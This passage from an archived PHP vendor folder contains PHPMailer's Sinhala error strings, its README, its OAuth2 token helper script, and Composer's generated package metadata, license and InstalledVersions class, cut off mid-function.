PHP version එක 7.0.17+ හෝ 7.1.3+ වලට අලුත් කිරීම කරගන්න.'; $PHPMAILER_LANG['connect_host'] = 'SMTP දෝෂය: සම්බන්ධ වීමට නොහැකි විය.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP දෝෂය: දත්ත පිළිගනු නොලැබේ.'; $PHPMAILER_LANG['empty_message'] = 'පණිවිඩ අන්තර්ගතය හිස්'; $PHPMAILER_LANG['encoding'] = 'නොදන්නා කේතනය: '; $PHPMAILER_LANG['execute'] = 'ක්රියාත්මක කළ නොහැකි විය: '; $PHPMAILER_LANG['extension_missing'] = 'Extension එක නොමැත: '; $PHPMAILER_LANG['file_access'] = 'File එකට ප්රවේශ විය නොහැකි විය: '; $PHPMAILER_LANG['file_open'] = 'File දෝෂය: File එක විවෘත කළ නොහැක: '; $PHPMAILER_LANG['from_failed'] = 'පහත From ලිපිනයන් අසාර්ථක විය: '; $PHPMAILER_LANG['instantiate'] = 'mail function එක ක්රියාත්මක කළ නොහැක.'; $PHPMAILER_LANG['invalid_address'] = 'වලංගු නොවන ලිපිනය: '; $PHPMAILER_LANG['invalid_header'] = 'වලංගු නොවන header නාමයක් හෝ අගයක්'; $PHPMAILER_LANG['invalid_hostentry'] = 'වලංගු නොවන hostentry එකක්: '; $PHPMAILER_LANG['invalid_host'] = 'වලංගු නොවන host එකක්: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer සහාය නොදක්වයි.'; $PHPMAILER_LANG['provide_address'] = 'ඔබ අවම වශයෙන් එක් ලබන්නෙකුගේ ඊමේල් ලිපිනයක් සැපයිය යුතුය.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP දෝෂය: පහත ලබන්නන් අසමත් විය: '; $PHPMAILER_LANG['signing'] = 'Sign කිරීමේ දෝෂය: '; $PHPMAILER_LANG['smtp_code'] = 'SMTP කේතය: '; $PHPMAILER_LANG['smtp_code_ex'] = 'අමතර SMTP තොරතුරු: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP සම්බන්ධය අසාර්ථක විය.'; $PHPMAILER_LANG['smtp_detail'] = 'තොරතුරු: '; $PHPMAILER_LANG['smtp_error'] = 'SMTP දෝෂය: '; $PHPMAILER_LANG['variable_set'] = 'Variable එක සැකසීමට හෝ නැවත සැකසීමට නොහැක: '; phpmailer/phpmailer/README.md000064400000040372151676714400012006 0ustar00[](https://supportukrainenow.org/)  # PHPMailer – A full-featured email creation and transfer class for PHP [](https://github.com/PHPMailer/PHPMailer/actions) [](https://codecov.io/gh/PHPMailer/PHPMailer) [](https://packagist.org/packages/phpmailer/phpmailer) [](https://packagist.org/packages/phpmailer/phpmailer) [](https://packagist.org/packages/phpmailer/phpmailer) [](https://phpmailer.github.io/PHPMailer/) [](https://api.securityscorecards.dev/projects/github.com/PHPMailer/PHPMailer) ## Features - Probably the world's most popular code for sending email from PHP! - Used by many open-source projects: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! and many more - Integrated SMTP support – send without a local mail server - Send emails with multiple To, CC, BCC, and Reply-to addresses - Multipart/alternative emails for mail clients that do not read HTML email - Add attachments, including inline - Support for UTF-8 content and 8bit, base64, binary, and quoted-printable encodings - SMTP authentication with LOGIN, PLAIN, CRAM-MD5, and XOAUTH2 mechanisms over SMTPS and SMTP+STARTTLS transports - Validates email addresses automatically - Protects against header injection attacks - Error messages in over 50 languages! - DKIM and S/MIME signing support - Compatible with PHP 5.5 and later, including PHP 8.2 - Namespaced to prevent name clashes - Much more! ## Why you might need it Many PHP developers need to send email from their code. The only PHP function that supports this directly is [`mail()`](https://www.php.net/manual/en/function.mail.php). However, it does not provide any assistance for making use of popular features such as encryption, authentication, HTML messages, and attachments. Formatting email correctly is surprisingly difficult. There are myriad overlapping (and conflicting) standards, requiring tight adherence to horribly complicated formatting and encoding rules – the vast majority of code that you'll find online that uses the `mail()` function directly is just plain wrong, if not unsafe! The PHP `mail()` function usually sends via a local mail server, typically fronted by a `sendmail` binary on Linux, BSD, and macOS platforms, however, Windows usually doesn't include a local mail server; PHPMailer's integrated SMTP client allows email sending on all platforms without needing a local mail server. Be aware though, that the `mail()` function should be avoided when possible; it's both faster and [safer](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) to use SMTP to localhost. *Please* don't be tempted to do it yourself – if you don't use PHPMailer, there are many other excellent libraries that you should look at before rolling your own. Try [SwiftMailer](https://swiftmailer.symfony.com/) , [Laminas/Mail](https://docs.laminas.dev/laminas-mail/), [ZetaComponents](https://github.com/zetacomponents/Mail), etc. ## License This software is distributed under the [LGPL 2.1](http://www.gnu.org/licenses/lgpl-2.1.html) license, along with the [GPL Cooperation Commitment](https://gplcc.github.io/gplcc/). Please read [LICENSE](https://github.com/PHPMailer/PHPMailer/blob/master/LICENSE) for information on the software availability and distribution. ## Installation & loading PHPMailer is available on [Packagist](https://packagist.org/packages/phpmailer/phpmailer) (using semantic versioning), and installation via [Composer](https://getcomposer.org) is the recommended way to install PHPMailer. Just add this line to your `composer.json` file: ```json "phpmailer/phpmailer": "^6.9.1" ``` or run ```sh composer require phpmailer/phpmailer ``` Note that the `vendor` folder and the `vendor/autoload.php` script are generated by Composer; they are not part of PHPMailer. If you want to use XOAUTH2 authentication, you will also need to add a dependency on the `league/oauth2-client` and appropriate service adapters package in your `composer.json`, or take a look at by @decomplexity's [SendOauth2 wrapper](https://github.com/decomplexity/SendOauth2), especially if you're using Microsoft services. Alternatively, if you're not using Composer, you can [download PHPMailer as a zip file](https://github.com/PHPMailer/PHPMailer/archive/master.zip), (note that docs and examples are not included in the zip file), then copy the contents of the PHPMailer folder into one of the `include_path` directories specified in your PHP configuration and load each class file manually: ```php <?php use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; require 'path/to/PHPMailer/src/Exception.php'; require 'path/to/PHPMailer/src/PHPMailer.php'; require 'path/to/PHPMailer/src/SMTP.php'; ``` If you're not using the `SMTP` class explicitly (you're probably not), you don't need a `use` line for the SMTP class. Even if you're not using exceptions, you do still need to load the `Exception` class as it is used internally. ## Legacy versions PHPMailer 5.2 (which is compatible with PHP 5.0 — 7.0) is no longer supported, even for security updates. You will find the latest version of 5.2 in the [5.2-stable branch](https://github.com/PHPMailer/PHPMailer/tree/5.2-stable). If you're using PHP 5.5 or later (which you should be), switch to the 6.x releases. ### Upgrading from 5.2 The biggest changes are that source files are now in the `src/` folder, and PHPMailer now declares the namespace `PHPMailer\PHPMailer`. This has several important effects – [read the upgrade guide](https://github.com/PHPMailer/PHPMailer/tree/master/UPGRADING.md) for more details. ### Minimal installation While installing the entire package manually or with Composer is simple, convenient, and reliable, you may want to include only vital files in your project. At the very least you will need [src/PHPMailer.php](https://github.com/PHPMailer/PHPMailer/tree/master/src/PHPMailer.php). If you're using SMTP, you'll need [src/SMTP.php](https://github.com/PHPMailer/PHPMailer/tree/master/src/SMTP.php), and if you're using POP-before SMTP (*very* unlikely!), you'll need [src/POP3.php](https://github.com/PHPMailer/PHPMailer/tree/master/src/POP3.php). You can skip the [language](https://github.com/PHPMailer/PHPMailer/tree/master/language/) folder if you're not showing errors to users and can make do with English-only errors. If you're using XOAUTH2 you will need [src/OAuth.php](https://github.com/PHPMailer/PHPMailer/tree/master/src/OAuth.php) as well as the Composer dependencies for the services you wish to authenticate with. Really, it's much easier to use Composer! ## A Simple Example ```php <?php //Import PHPMailer classes into the global namespace //These must be at the top of your script, not inside a function use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; //Load Composer's autoloader require 'vendor/autoload.php'; //Create an instance; passing `true` enables exceptions $mail = new PHPMailer(true); try { //Server settings $mail->SMTPDebug = SMTP::DEBUG_SERVER; //Enable verbose debug output $mail->isSMTP(); //Send using SMTP $mail->Host = 'smtp.example.com'; //Set the SMTP server to send through $mail->SMTPAuth = true; //Enable SMTP authentication $mail->Username = 'user@example.com'; //SMTP username $mail->Password = 'secret'; //SMTP password $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS; //Enable implicit TLS encryption $mail->Port = 465; //TCP port to connect to; use 587 if you have set `SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS` //Recipients $mail->setFrom('from@example.com', 'Mailer'); $mail->addAddress('joe@example.net', 'Joe User'); //Add a recipient $mail->addAddress('ellen@example.com'); //Name is optional $mail->addReplyTo('info@example.com', 'Information'); $mail->addCC('cc@example.com'); $mail->addBCC('bcc@example.com'); //Attachments $mail->addAttachment('/var/tmp/file.tar.gz'); //Add attachments $mail->addAttachment('/tmp/image.jpg', 'new.jpg'); //Optional name //Content $mail->isHTML(true); //Set email format to HTML $mail->Subject = 'Here is the subject'; $mail->Body = 'This is the HTML message body <b>in bold!</b>'; $mail->AltBody = 'This is the body in plain text for non-HTML mail clients'; $mail->send(); echo 'Message has been sent'; } catch (Exception $e) { echo "Message could not be sent. Mailer Error: {$mail->ErrorInfo}"; } ``` You'll find plenty to play with in the [examples](https://github.com/PHPMailer/PHPMailer/tree/master/examples) folder, which covers many common scenarios including sending through Gmail, building contact forms, sending to mailing lists, and more. If you are re-using the instance (e.g. when sending to a mailing list), you may need to clear the recipient list to avoid sending duplicate messages. See [the mailing list example](https://github.com/PHPMailer/PHPMailer/blob/master/examples/mailing_list.phps) for further guidance. That's it. You should now be ready to use PHPMailer! ## Localization PHPMailer defaults to English, but in the [language](https://github.com/PHPMailer/PHPMailer/tree/master/language/) folder, you'll find many translations for PHPMailer error messages that you may encounter. Their filenames contain [ISO 639-1](http://en.wikipedia.org/wiki/ISO_639-1) language code for the translations, for example `fr` for French. To specify a language, you need to tell PHPMailer which one to use, like this: ```php //To load the French version $mail->setLanguage('fr', '/optional/path/to/language/directory/'); ``` We welcome corrections and new languages – if you're looking for corrections, run the [Language/TranslationCompletenessTest.php](https://github.com/PHPMailer/PHPMailer/blob/master/test/Language/TranslationCompletenessTest.php) script in the tests folder and it will show any missing translations. ## Documentation Start reading at the [GitHub wiki](https://github.com/PHPMailer/PHPMailer/wiki). If you're having trouble, head for [the troubleshooting guide](https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting) as it's frequently updated. Examples of how to use PHPMailer for common scenarios can be found in the [examples](https://github.com/PHPMailer/PHPMailer/tree/master/examples) folder. If you're looking for a good starting point, we recommend you start with [the Gmail example](https://github.com/PHPMailer/PHPMailer/tree/master/examples/gmail.phps). To reduce PHPMailer's deployed code footprint, examples are not included if you load PHPMailer via Composer or via [GitHub's zip file download](https://github.com/PHPMailer/PHPMailer/archive/master.zip), so you'll need to either clone the git repository or use the above links to get to the examples directly. Complete generated API documentation is [available online](https://phpmailer.github.io/PHPMailer/). You can generate complete API-level documentation by running `phpdoc` in the top-level folder, and documentation will appear in the `docs` folder, though you'll need to have [PHPDocumentor](http://www.phpdoc.org) installed. You may find [the unit tests](https://github.com/PHPMailer/PHPMailer/blob/master/test/PHPMailerTest.php) a good reference for how to do various operations such as encryption. If the documentation doesn't cover what you need, search the [many questions on Stack Overflow](http://stackoverflow.com/questions/tagged/phpmailer), and before you ask a question about "SMTP Error: Could not connect to SMTP host.", [read the troubleshooting guide](https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting). ## Tests [PHPMailer tests](https://github.com/PHPMailer/PHPMailer/tree/master/test/) use PHPUnit 9, with [a polyfill](https://github.com/Yoast/PHPUnit-Polyfills) to let 9-style tests run on older PHPUnit and PHP versions. [](https://github.com/PHPMailer/PHPMailer/actions) If this isn't passing, is there something you can do to help? ## Security Please disclose any vulnerabilities found responsibly – report security issues to the maintainers privately. See [SECURITY](https://github.com/PHPMailer/PHPMailer/tree/master/SECURITY.md) and [PHPMailer's security advisories on GitHub](https://github.com/PHPMailer/PHPMailer/security). ## Contributing Please submit bug reports, suggestions, and pull requests to the [GitHub issue tracker](https://github.com/PHPMailer/PHPMailer/issues). We're particularly interested in fixing edge cases, expanding test coverage, and updating translations. If you found a mistake in the docs, or want to add something, go ahead and amend the wiki – anyone can edit it. If you have git clones from prior to the move to the PHPMailer GitHub organisation, you'll need to update any remote URLs referencing the old GitHub location with a command like this from within your clone: ```sh git remote set-url upstream https://github.com/PHPMailer/PHPMailer.git ``` Please *don't* use the SourceForge or Google Code projects any more; they are obsolete and no longer maintained. ## Sponsorship Development time and resources for PHPMailer are provided by [Smartmessages.net](https://info.smartmessages.net/), the world's only privacy-first email marketing system. <a href="https://info.smartmessages.net/"><img src="https://www.smartmessages.net/img/smartmessages-logo.svg" width="550" alt="Smartmessages.net privacy-first email marketing logo"></a> Donations are very welcome, whether in beer 🍺, T-shirts 👕, or cold, hard cash 💰. Sponsorship through GitHub is a simple and convenient way to say "thank you" to PHPMailer's maintainers and contributors – just click the "Sponsor" button [on the project page](https://github.com/PHPMailer/PHPMailer). If your company uses PHPMailer, consider taking part in Tidelift's enterprise support programme. ## PHPMailer For Enterprise Available as part of the Tidelift Subscription. The maintainers of PHPMailer and thousands of other packages are working with Tidelift to deliver commercial support and maintenance for the open-source packages you use to build your applications. Save time, reduce risk, and improve code health, while paying the maintainers of the exact packages you use. [Learn more.](https://tidelift.com/subscription/pkg/packagist-phpmailer-phpmailer?utm_source=packagist-phpmailer-phpmailer&utm_medium=referral&utm_campaign=enterprise&utm_term=repo) ## Changelog See [changelog](changelog.md). ## History - PHPMailer was originally written in 2001 by Brent R. Matzelle as a [SourceForge project](http://sourceforge.net/projects/phpmailer/). - [Marcus Bointon](https://github.com/Synchro) (`coolbru` on SF) and Andy Prevost (`codeworxtech`) took over the project in 2004. - Became an Apache incubator project on Google Code in 2010, managed by Jim Jagielski. - Marcus created [his fork on GitHub](https://github.com/Synchro/PHPMailer) in 2008. - Jim and Marcus decide to join forces and use GitHub as the canonical and official repo for PHPMailer in 2013. - PHPMailer moves to [the PHPMailer organisation](https://github.com/PHPMailer) on GitHub in 2013. ### What's changed since moving from SourceForge? - Official successor to the SourceForge and Google Code projects. - Test suite. - Continuous integration with GitHub Actions. - Composer support. - Public development. - Additional languages and language strings. - CRAM-MD5 authentication support. - Preserves full repo history of authors, commits, and branches from the original SourceForge project. phpmailer/phpmailer/get_oauth_token.php000064400000014122151676714400014411 0ustar00<?php /** * PHPMailer - PHP email creation and transport class. * PHP Version 5.5 * @package PHPMailer * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ /** * Get an OAuth2 token from an OAuth2 provider. * * Install this script on your server so that it's accessible * as [https/http]://<yourdomain>/<folder>/get_oauth_token.php * e.g.: http://localhost/phpmailer/get_oauth_token.php * * Ensure dependencies are installed with 'composer install' * * Set up an app in your Google/Yahoo/Microsoft account * * Set the script address as the app's redirect URL * If no refresh token is obtained when running this file, * revoke access to your app and run the script again. */ namespace PHPMailer\PHPMailer; /** * Aliases for League Provider Classes * Make sure you have added these to your composer.json and run `composer install` * Plenty to choose from here: * @see http://oauth2-client.thephpleague.com/providers/thirdparty/ */ //@see https://github.com/thephpleague/oauth2-google use League\OAuth2\Client\Provider\Google; //@see https://packagist.org/packages/hayageek/oauth2-yahoo use Hayageek\OAuth2\Client\Provider\Yahoo; //@see https://github.com/stevenmaguire/oauth2-microsoft use Stevenmaguire\OAuth2\Client\Provider\Microsoft; //@see https://github.com/greew/oauth2-azure-provider use Greew\OAuth2\Client\Provider\Azure; if (!isset($_GET['code']) && !isset($_POST['provider'])) { ?> <html> <body> <form method="post"> <h1>Select Provider</h1> <input type="radio" name="provider" value="Google" id="providerGoogle"> <label for="providerGoogle">Google</label><br> <input type="radio" name="provider" value="Yahoo" id="providerYahoo"> <label for="providerYahoo">Yahoo</label><br> <input type="radio" name="provider" value="Microsoft" id="providerMicrosoft"> <label for="providerMicrosoft">Microsoft</label><br> <input type="radio" name="provider" value="Azure" id="providerAzure"> <label for="providerAzure">Azure</label><br> <h1>Enter id and secret</h1> <p>These details are obtained by setting up an app in your provider's developer console. </p> <p>ClientId: <input type="text" name="clientId"><p> <p>ClientSecret: <input type="text" name="clientSecret"></p> <p>TenantID (only relevant for Azure): <input type="text" name="tenantId"></p> <input type="submit" value="Continue"> </form> </body> </html> <?php exit; } require 'vendor/autoload.php'; session_start(); $providerName = ''; $clientId = ''; $clientSecret = ''; $tenantId = ''; if (array_key_exists('provider', $_POST)) { $providerName = $_POST['provider']; $clientId = $_POST['clientId']; $clientSecret = $_POST['clientSecret']; $tenantId = $_POST['tenantId']; $_SESSION['provider'] = $providerName; $_SESSION['clientId'] = $clientId; $_SESSION['clientSecret'] = $clientSecret; $_SESSION['tenantId'] = $tenantId; } elseif (array_key_exists('provider', $_SESSION)) { $providerName = $_SESSION['provider']; $clientId = $_SESSION['clientId']; $clientSecret = $_SESSION['clientSecret']; $tenantId = $_SESSION['tenantId']; } //If you don't want to use the built-in form, set your client id and secret here //$clientId = 'RANDOMCHARS-----duv1n2.apps.googleusercontent.com'; //$clientSecret = 'RANDOMCHARS-----lGyjPcRtvP'; //If this automatic URL doesn't work, set it yourself manually to the URL of this script $redirectUri = (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']; //$redirectUri = 'http://localhost/PHPMailer/redirect'; $params = [ 'clientId' => $clientId, 'clientSecret' => $clientSecret, 'redirectUri' => $redirectUri, 'accessType' => 'offline' ]; $options = []; $provider = null; switch ($providerName) { case 'Google': $provider = new Google($params); $options = [ 'scope' => [ 'https://mail.google.com/' ] ]; break; case 'Yahoo': $provider = new Yahoo($params); break; case 'Microsoft': $provider = new Microsoft($params); $options = [ 'scope' => [ 'wl.imap', 'wl.offline_access' ] ]; break; case 'Azure': $params['tenantId'] = $tenantId; $provider = new Azure($params); $options = [ 'scope' => [ 'https://outlook.office.com/SMTP.Send', 'offline_access' ] ]; break; } if (null === $provider) { exit('Provider missing'); } if (!isset($_GET['code'])) { //If we don't have an authorization code then get one $authUrl = $provider->getAuthorizationUrl($options); $_SESSION['oauth2state'] = $provider->getState(); header('Location: ' . $authUrl); exit; //Check given state against previously stored one to mitigate CSRF attack } elseif (empty($_GET['state']) || ($_GET['state'] !== $_SESSION['oauth2state'])) { unset($_SESSION['oauth2state']); unset($_SESSION['provider']); exit('Invalid state'); } else { unset($_SESSION['provider']); //Try to get an access token (using the authorization code grant) $token = $provider->getAccessToken( 'authorization_code', [ 'code' => $_GET['code'] ] ); //Use this to interact with an API on the users behalf //Use this to get a new access token if the old one expires echo 'Refresh Token: ', $token->getRefreshToken(); } composer/autoload_namespaces.php000064400000000213151676714400013122 0ustar00<?php // autoload_namespaces.php @generated by Composer $vendorDir = dirname(__DIR__); $baseDir = dirname($vendorDir); return array( ); composer/installed.php000064400000014331151676714400011100 0ustar00<?php return array( 'root' => array( 'name' => '__root__', 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => 'ca2cfd9fbea0fcd69b2a7a67a371a2584d6b8a5c', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => true, ), 'versions' => array( '__root__' => array( 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => 'ca2cfd9fbea0fcd69b2a7a67a371a2584d6b8a5c', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false, ), 'graham-campbell/result-type' => array( 'pretty_version' => 'v1.1.2', 'version' => '1.1.2.0', 'reference' => 'fbd48bce38f73f8a4ec8583362e732e4095e5862', 'type' => 'library', 'install_path' => __DIR__ . '/../graham-campbell/result-type', 'aliases' => array(), 'dev_requirement' => false, ), 'maennchen/zipstream-php' => array( 'pretty_version' => '3.1.0', 'version' => '3.1.0.0', 'reference' => 'b8174494eda667f7d13876b4a7bfef0f62a7c0d1', 'type' => 'library', 'install_path' => __DIR__ . '/../maennchen/zipstream-php', 'aliases' => array(), 'dev_requirement' => false, ), 'markbaker/complex' => array( 'pretty_version' => '3.0.2', 'version' => '3.0.2.0', 'reference' => '95c56caa1cf5c766ad6d65b6344b807c1e8405b9', 'type' => 'library', 'install_path' => __DIR__ . '/../markbaker/complex', 'aliases' => array(), 'dev_requirement' => false, ), 'markbaker/matrix' => array( 'pretty_version' => '3.0.1', 'version' => '3.0.1.0', 'reference' => '728434227fe21be27ff6d86621a1b13107a2562c', 'type' => 'library', 'install_path' => __DIR__ . '/../markbaker/matrix', 'aliases' => array(), 'dev_requirement' => false, ), 'phpmailer/phpmailer' => array( 'pretty_version' => 'v6.9.1', 'version' => '6.9.1.0', 'reference' => '039de174cd9c17a8389754d3b877a2ed22743e18', 'type' => 'library', 'install_path' => __DIR__ . '/../phpmailer/phpmailer', 'aliases' => array(), 'dev_requirement' => false, ), 'phpoffice/phpspreadsheet' => array( 'pretty_version' => '2.1.0', 'version' => '2.1.0.0', 'reference' => 'dbed77bd3a0f68f96c0dd68ad4499d5674fecc3e', 'type' => 'library', 'install_path' => __DIR__ . '/../phpoffice/phpspreadsheet', 'aliases' => array(), 'dev_requirement' => false, ), 'phpoption/phpoption' => array( 'pretty_version' => '1.9.2', 'version' => '1.9.2.0', 'reference' => '80735db690fe4fc5c76dfa7f9b770634285fa820', 'type' => 'library', 'install_path' => __DIR__ . '/../phpoption/phpoption', 'aliases' => array(), 'dev_requirement' => false, ), 'psr/http-client' => array( 'pretty_version' => '1.0.3', 'version' => '1.0.3.0', 'reference' => 'bb5906edc1c324c9a05aa0873d40117941e5fa90', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/http-client', 'aliases' => array(), 'dev_requirement' => false, ), 'psr/http-factory' => array( 'pretty_version' => '1.1.0', 'version' => '1.1.0.0', 'reference' => '2b4765fddfe3b508ac62f829e852b1501d3f6e8a', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/http-factory', 'aliases' => array(), 'dev_requirement' => false, ), 'psr/http-message' => array( 'pretty_version' => '2.0', 'version' => '2.0.0.0', 'reference' => '402d35bcb92c70c026d1a6a9883f06b2ead23d71', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/http-message', 'aliases' => array(), 'dev_requirement' => false, ), 'psr/simple-cache' => array( 'pretty_version' => '3.0.0', 'version' => '3.0.0.0', 'reference' => '764e0b3939f5ca87cb904f570ef9be2d78a07865', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/simple-cache', 'aliases' => array(), 'dev_requirement' => false, ), 'symfony/polyfill-ctype' => array( 'pretty_version' => 'v1.30.0', 'version' => '1.30.0.0', 'reference' => '0424dff1c58f028c451efff2045f5d92410bd540', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-ctype', 'aliases' => array(), 'dev_requirement' => false, ), 'symfony/polyfill-mbstring' => array( 'pretty_version' => 'v1.30.0', 'version' => '1.30.0.0', 'reference' => 'fd22ab50000ef01661e2a31d850ebaa297f8e03c', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-mbstring', 'aliases' => array(), 'dev_requirement' => false, ), 'symfony/polyfill-php80' => array( 'pretty_version' => 'v1.30.0', 'version' => '1.30.0.0', 'reference' => '77fa7995ac1b21ab60769b7323d600a991a90433', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php80', 'aliases' => array(), 'dev_requirement' => false, ), 'vlucas/phpdotenv' => array( 'pretty_version' => 'v5.6.0', 'version' => '5.6.0.0', 'reference' => '2cf9fb6054c2bb1d59d1f3817706ecdb9d2934c4', 'type' => 'library', 'install_path' => __DIR__ . '/../vlucas/phpdotenv', 'aliases' => array(), 'dev_requirement' => false, ), ), ); composer/LICENSE000064400000002056151676714400007416 0ustar00 Copyright (c) Nils Adermann, Jordi Boggiano Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. composer/InstalledVersions.php000064400000037417151676714400012603 0ustar00<?php /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer; use Composer\Autoload\ClassLoader; use Composer\Semver\VersionParser; /** * This class is copied in every Composer installed project and available to all * * See also https://getcomposer.org/doc/07-runtime.md#installed-versions * * To require its presence, you can require `composer-runtime-api ^2.0` * * @final */ class InstalledVersions { /** * @var mixed[]|null * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null */ private static $installed; /** * @var bool|null */ private static $canGetVendors; /** * @var array[] * @psalm-var array<string, array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}> */ private static $installedByVendor = array(); /** * Returns a list of all package names which are present, either by being installed, replaced or provided * * @return string[] * @psalm-return list<string> */ public static function getInstalledPackages() { $packages = array(); foreach (self::getInstalled() as $installed) { $packages[] = array_keys($installed['versions']); } if (1 === \count($packages)) { return $packages[0]; } return array_keys(array_flip(\call_user_func_array('array_merge', $packages))); } /** * Returns a list of all package names with a specific type e.g. 'library' * * @param string $type * @return string[] * @psalm-return list<string> */ public static function getInstalledPackagesByType($type) { $packagesByType = array(); foreach (self::getInstalled() as $installed) { foreach ($installed['versions'] as $name => $package) { if (isset($package['type']) && $package['type'] === $type) { $packagesByType[] = $name; } } } return $packagesByType; } /** * Checks whether the given package is installed * * This also returns true if the package name is provided or replaced by another package * * @param string $packageName * @param bool $includeDevRequirements * @return bool */ public static function isInstalled($packageName, $includeDevRequirements = true) { foreach (self::getInstalled() as $installed) { if (isset($installed['versions'][$packageName])) { return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false; } } return false; } /** * Checks whether the given package satisfies a version constraint * * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call: * * Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3') * * @param VersionParser $parser Install composer/semver to have access to this class and functionality * @param string $packageName * @param string|null $constraint A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package * @return bool */ public static function satisfies(VersionParser $parser, $packageName, $constraint) { $constraint = $parser->parseConstraints((string) $constraint); $provided = $parser->parseConstraints(self::getVersionRanges($packageName)); return $provided->matches($constraint); } /** * Returns a version constraint representing all the range(s) which are installed for a given package * * It is easier to use this via isInstalled() with the $constraint argument if you need to check * whether a given version of a package is installed, and not just whether it exists * * @param string $packageName * @return string Version constraint usable with composer/semver */ public static function getVersionRanges($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } $ranges = array(); if (isset($installed['versions'][$packageName]['pretty_version'])) { $ranges[] = $installed['versions'][$packageName]['pretty_version']; } if (array_key_exists('aliases', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']); } if (array_key_exists('replaced', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']); } if (array_key_exists('provided', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']); } return implode(' || ', $ranges); } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present */ public static function getVersion($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['version'])) { return null; } return $installed['versions'][$packageName]['version']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present */ public static function getPrettyVersion($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['pretty_version'])) { return null; } return $installed['versions'][$packageName]['pretty_version']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference */ public static function getReference($packageName) { foreach 